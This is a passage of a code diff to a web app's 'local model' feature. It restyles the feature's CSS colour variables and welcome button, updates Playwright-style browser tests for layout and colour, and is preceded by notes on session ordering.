and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`; the visual walk is a scratch Playwright script, not a test. **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order) diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 8ee0763a..cbd235e2 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22327,37 +22327,51 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til body scrolling between them. A click never moves the next button away. ═══════════════════════════════════════════════════════════════ */ -/* The feature's own colours. Violet is what the local model is known by, on - the start screen and in its window; the others carry meaning (green good, - amber tight, orange slow, teal the context, rose the brief peaks). All of them are set here, once, - and the light skins get deeper values so they hold on a pale page. */ +/* The feature's own colours. White is what the local model is known by, on the + start screen and in its window: it stands apart from the app's blue instead of + fighting it, and on a pale page the same idea turns to dark ink. The others + carry meaning (blue the context, green good, amber tight, orange slow, rose the + brief peaks). All of them are set here, once. */ :root { - --lm-violet: #a78bfa; - --lm-teal: #2dd4bf; + --lm-brand: #e6edf5; + --lm-context: #38b6f0; --lm-amber: #f5c451; --lm-orange: #fb923c; --lm-rose: #f58ba8; --lm-good: #4ade80; - --lm-cta-a: #8567f4; - --lm-cta-b: #6346e0; - --lm-cta-hover-a: #9479f7; - --lm-cta-hover-b: #7054ea; + --lm-cta-a: #ffffff; + --lm-cta-b: #dfe7f0; + --lm-cta-hover-a: #ffffff; + --lm-cta-hover-b: #eef3f8; + --lm-cta-ink: #11151c; + --lm-cta-disc: #11151c; + --lm-cta-glyph: #ffffff; + --lm-cta-glow: rgba(223, 231, 240, 0.45); } +/* A white button is gone on a pale page, so the light skins turn it over. */ html[data-skin='paper-gray'], html[data-skin='solarized-light'], html[data-skin='catppuccin-latte'], html[data-skin='rose-pine-dawn'] { - --lm-violet: #6d3fd8; - --lm-teal: #0b8378; + --lm-brand: #2a3140; + --lm-context: #1c6fb8; --lm-amber: #a86a00; --lm-orange: #c2500f; --lm-rose: #c43a68; --lm-good: #16803c; + --lm-cta-a: #333b4a; + --lm-cta-b: #11151c; + --lm-cta-hover-a: #434c5c; + --lm-cta-hover-b: #1f2530; + --lm-cta-ink: #ffffff; + --lm-cta-disc: #ffffff; + --lm-cta-glyph: #11151c; + --lm-cta-glow: rgba(17, 21, 28, 0.4); } /* The welcome button: the first thing on the start screen, above the launchers, - in the size of the primary button and in the feature's violet. */ + built like the primary button (dark ink, a solid disc) in the feature's colour. */ .welcome-local-model { margin-bottom: 1.1rem; height: 46px; @@ -22366,18 +22380,18 @@ html[data-skin='rose-pine-dawn'] { border: 1px solid var(--lm-cta-a); border-radius: 23px; background: linear-gradient(135deg, var(--lm-cta-a), var(--lm-cta-b)); - color: #fff; + color: var(--lm-cta-ink); font-size: 0.95rem; font-weight: 700; letter-spacing: 0.005em; - box-shadow: 0 8px 24px -12px rgba(99, 70, 224, 0.75), inset 0 1px 0 rgba(255, 255, 255, 0.18); + box-shadow: 0 8px 24px -12px var(--lm-cta-glow), inset 0 1px 0 rgba(255, 255, 255, 0.22); } .welcome-local-model:hover, .welcome-local-model:focus-visible { border-color: var(--lm-cta-hover-a); background: linear-gradient(135deg, var(--lm-cta-hover-a), var(--lm-cta-hover-b)); - color: #fff; + color: var(--lm-cta-ink); } /* `.welcome-chip` is inline-flex, so `[hidden]` needs re-asserting or the @@ -22394,7 +22408,8 @@ html[data-skin='rose-pine-dawn'] { padding: 8px; box-sizing: border-box; border-radius: 50%; - background: rgba(255, 255, 255, 0.18); + background: var(--lm-cta-disc); + color: var(--lm-cta-glyph); } /* The window: App Settings' chrome (`.modal`, `.modal-header`, the boxed @@ -22546,13 +22561,13 @@ html[data-skin='rose-pine-dawn'] { flex-direction: column; gap: 0.6rem; padding: 0.8rem 0.9rem 0.75rem; - border: 1px solid color-mix(in srgb, var(--lm-violet) 22%, var(--border)); + border: 1px solid color-mix(in srgb, var(--lm-brand) 22%, var(--border)); border-radius: 12px; background: linear-gradient( 120deg, - color-mix(in srgb, var(--lm-violet) 11%, transparent), - color-mix(in srgb, var(--lm-teal) 6%, transparent) 75% + color-mix(in srgb, var(--lm-brand) 11%, transparent), + color-mix(in srgb, var(--lm-context) 6%, transparent) 75% ), var(--bg-input); } @@ -22619,16 +22634,16 @@ html[data-skin='rose-pine-dawn'] { flex: none; height: 100%; border-radius: 2px; - background: linear-gradient(90deg, var(--lm-violet), var(--lm-teal)); + background: linear-gradient(90deg, var(--lm-brand), var(--lm-context)); transition: width 0.32s cubic-bezier(0.4, 0, 0.2, 1); } .lm-part-model { - background: var(--lm-violet); + background: var(--lm-brand); } .lm-part-context { - background: var(--lm-teal); + background: var(--lm-context); } /* The brief peaks are not held all the time, so they are striped. */ @@ -22740,18 +22755,18 @@ html[data-skin='rose-pine-dawn'] { } .lm-model:focus-visible { - outline: 2px solid var(--lm-violet); + outline: 2px solid var(--lm-brand); outline-offset: -2px; } -/* Selected: violet on the reading edge and a fill that fades out to the right. */ +/* Selected: the feature's colour on the reading edge and a fill that fades out to the right. */ .lm-model-on, .lm-model-on:hover { - border-inline-start-color: var(--lm-violet); + border-inline-start-color: var(--lm-brand); background: linear-gradient( 90deg, - color-mix(in srgb, var(--lm-violet) 17%, transparent), - color-mix(in srgb, var(--lm-violet) 4%, transparent) + color-mix(in srgb, var(--lm-brand) 17%, transparent), + color-mix(in srgb, var(--lm-brand) 4%, transparent) ); } @@ -22764,8 +22779,8 @@ html[data-skin='rose-pine-dawn'] { } .lm-model-on .lm-radio { - border-color: var(--lm-violet); - background: radial-gradient(circle, var(--lm-violet) 0 3px, transparent 3.5px); + border-color: var(--lm-brand); + background: radial-gradient(circle, var(--lm-brand) 0 3px, transparent 3.5px); } /* The size tile: a model's billions of parameters, coloured by how large it is. */ @@ -22784,13 +22799,13 @@ html[data-skin='rose-pine-dawn'] { } .lm-tile-large { - background: color-mix(in srgb, var(--lm-violet) 20%, transparent); - color: var(--lm-violet); + background: color-mix(in srgb, var(--lm-brand) 20%, transparent); + color: var(--lm-brand); } .lm-tile-mid { - background: color-mix(in srgb, var(--lm-teal) 18%, transparent); - color: var(--lm-teal); + background: color-mix(in srgb, var(--lm-context) 18%, transparent); + color: var(--lm-context); } .lm-tile-small { @@ -22938,7 +22953,7 @@ html[data-skin='rose-pine-dawn'] { } .lm-select:focus-visible { - border-color: var(--lm-violet); + border-color: var(--lm-brand); } .lm-runs-hint { @@ -23099,8 +23114,8 @@ html[data-skin='rose-pine-dawn'] { } .lm-step-now .lm-step-mark { - border-color: var(--lm-violet); - background: radial-gradient(circle, var(--lm-violet) 0 3px, transparent 3.5px); + border-color: var(--lm-brand); + background: radial-gradient(circle, var(--lm-brand) 0 3px, transparent 3.5px); } .lm-step-stopped .lm-step-mark { @@ -23215,7 +23230,7 @@ html[data-skin='rose-pine-dawn'] { .lm-check input { margin: 0; - accent-color: var(--lm-violet); + accent-color: var(--lm-brand); } /* ── the foot: one promise on the left, the action on the right ──── */ @@ -23261,21 +23276,22 @@ html[data-skin='rose-pine-dawn'] { font-weight: 700; } -/* The main action is the feature's violet on every skin, like its start screen - button: white text on the same gradient, so no skin needs a rule of its own. */ +/* The main action wears the same gradient and ink as the start screen button, + so no skin needs a rule of its own. */ .local-model-window .wt-btn-primary.lm-btn { border-color: var(--lm-cta-a); background: linear-gradient(135deg, var(--lm-cta-a), var(--lm-cta-b)); - color: #fff; + color: var(--lm-cta-ink); } .local-model-window .wt-btn-primary.lm-btn:hover:not(:disabled) { border-color: var(--lm-cta-hover-a); background: linear-gradient(135deg, var(--lm-cta-hover-a), var(--lm-cta-hover-b)); + color: var(--lm-cta-ink); } .local-model-window .wt-btn.lm-btn:focus-visible { - outline: 2px solid var(--lm-violet); + outline: 2px solid var(--lm-brand); outline-offset: 2px; } diff --git a/test/local-model-ui.browser.test.ts b/test/local-model-ui.browser.test.ts index 29380170..d4def082 100644 --- a/test/local-model-ui.browser.test.ts +++ b/test/local-model-ui.browser.test.ts @@ -7,9 +7,9 @@ * same edge, under their captions, and every tag starts on the same edge; * - a row is one line on a desktop and two lines under 560px, where nothing runs off the * side and the buttons take the full width; - * - the memory bar is 10px high and filled to the selected model's share of its track, and + * - the memory bar is 12px high and filled to the selected model's share of its track, and * the fill follows the selection; - * - the selected row carries the accent on its reading edge; + * - the selected row carries the feature's colour on its reading edge; * - the welcome button is really gone while it is `hidden`, and the window paints above App * Settings. * @@ -218,8 +218,8 @@ describe('the local model window (real Chromium)', () => { await load(1440); const [button] = await boxes('#welcomeLocalModelBtn'); expect(button.width).toBeGreaterThan(100); - // One more chip of the launcher family: the same height as the chips above it would have. - expect(Math.round(button.height)).toBe(30); + // The first thing on the start screen, in the size of the primary launcher below it. + expect(Math.round(button.height)).toBe(46); expect(await p.textContent('#welcomeLocalModelLabel')).toBe('Run a local model'); }); @@ -250,12 +250,14 @@ describe('the local model window (real Chromium)', () => { expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6); expect(speeds[i].right).toBeLessThanOrEqual(sizes[i].left + 0.6); } - // What is in a row lines up with the rest of the window on both edges. + // The memory panel lines up with the rows on both edges, and the bar with its figure. const [figure] = await boxes('.lm-figure'); const [radio] = await boxes('.lm-radio'); const [bar] = await boxes('.lm-bar'); - expect(same([figure.left, radio.left, bar.left])).toBe(true); - expect(same([bar.right, sizes[0].right])).toBe(true); + const [meter] = await boxes('.lm-meter'); + expect(same([figure.left, bar.left])).toBe(true); + expect(same([meter.left, radio.left])).toBe(true); + expect(same([meter.right, sizes[0].right])).toBe(true); }); it('fills the bar to the selected model, and the fill follows the selection', async () => { @@ -264,8 +266,8 @@ describe('the local model window (real Chromium)', () => { const share = async () => { const [track] = await boxes('.lm-bar'); const [fill] = await boxes('.lm-bar-fill'); - expect(Math.round(track.height)).toBe(10); - expect(Math.round(fill.height)).toBe(10); + expect(Math.round(track.height)).toBe(12); + expect(Math.round(fill.height)).toBe(12); expect(same([track.left, fill.left])).toBe(true); return fill.width / track.width; }; @@ -287,9 +289,14 @@ describe('the local model window (real Chromium)', () => { // The track is not the window's own colour, or the free part could not be seen. const paint = await p.evaluate(() => { const css = (sel: string, prop: string) => getComputedStyle(document.querySelector(sel)!).getPropertyValue(prop); + // The feature's colour as the browser paints it: a custom property reads back unresolved. + const probe = document.body.appendChild(document.createElement('i')); + probe.style.color = 'var(--lm-brand)'; + const brand = getComputedStyle(probe).color; + probe.remove(); return { + brand, track: css('.lm-bar', 'background-color'), - fill: css('.lm-bar-fill', 'background-color'), fillImage: css('.lm-bar-fill', 'background-image'), window: css('.local-model-window', 'background-color'), edge: css('.lm-model-on', 'border-left-color'), @@ -297,11 +304,12 @@ describe('the local model window (real Chromium)', () => { }; }); expect(paint.track).not.toBe(paint.window); - expect(paint.track).not.toBe(paint.fill); - expect(paint.fillImage).toBe('none'); - // The selected row carries the accent (the fill's colour) on its reading edge. - expect(paint.edge).toBe(paint.fill); - expect(paint.idleEdge).not.toBe(paint.fill); + expect(paint.track).not.toBe(paint.brand); + // Without a memory map the one fill runs from the feature's colour to the context's. + expect(paint.fillImage).toContain('linear-gradient'); + // The selected row carries the feature's colour on its reading edge. + expect(paint.edge).toBe(paint.brand); + expect(paint.idleEdge).not.toBe(paint.brand); }); it('stacks two lines a row under 560px, with nothing running off the side', async () => { @@ -323,10 +331,10 @@ describe('the local model window (real Chromium)', () => { const [win] = await boxes('.local-model-window'); expect(Math.round(win.width)).toBe(390); expect(Math.round(win.height)).toBe(844); - const [bar] = await boxes('.lm-bar'); + const [meter] = await boxes('.lm-meter'); const [button] = await boxes('.lm-buttons button'); - expect(same([bar.left, button.left])).toBe(true); - expect(same([bar.right, button.right])).toBe(true); + expect(same([meter.left, button.left])).toBe(true); + expect(same([meter.right, button.right])).toBe(true); expect(button.height).toBeGreaterThanOrEqual(44); const overflow = await p.evaluate(() => { const body = document.getElementById('localModelWindowBody')!;